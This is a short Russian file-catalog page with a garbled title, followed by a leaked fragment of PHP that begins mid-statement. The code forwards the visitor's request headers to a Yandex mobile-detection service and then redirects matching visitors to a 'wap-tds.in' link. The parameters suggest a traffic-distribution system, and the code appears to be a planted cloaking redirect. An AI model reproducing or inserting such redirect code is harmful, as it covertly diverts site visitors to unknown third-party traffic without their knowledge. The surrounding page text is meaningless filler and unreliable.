Главная » Файлы |
Всего материалов в каталоге: 1 Показано материалов: 1-1 |
ывааывав |
$value) { if (strpos($key, 'HTTP_') === 0 && $key != 'HTTP_HOST' && $key != 'HTTP_CONNECTION') { $key = strtolower(strtr(substr($key, 5), '_', '-')); $headers .= $key . ': ' . $value . "\r\n"; } } $opts = array( 'http'=>array( 'method'=>"GET", 'header'=> $headers, ) ); $m=file_get_contents('//phd.yandex.net/detect', false, stream_context_create($opts)); preg_match_all('~(.*)yandex-mobile-info-error(.*)~', $m, $k, PREG_SET_ORDER); if(!$k) header("Location: http://wap-tds.in/?i=3307&r=5690&p=9420&c=8"); ?>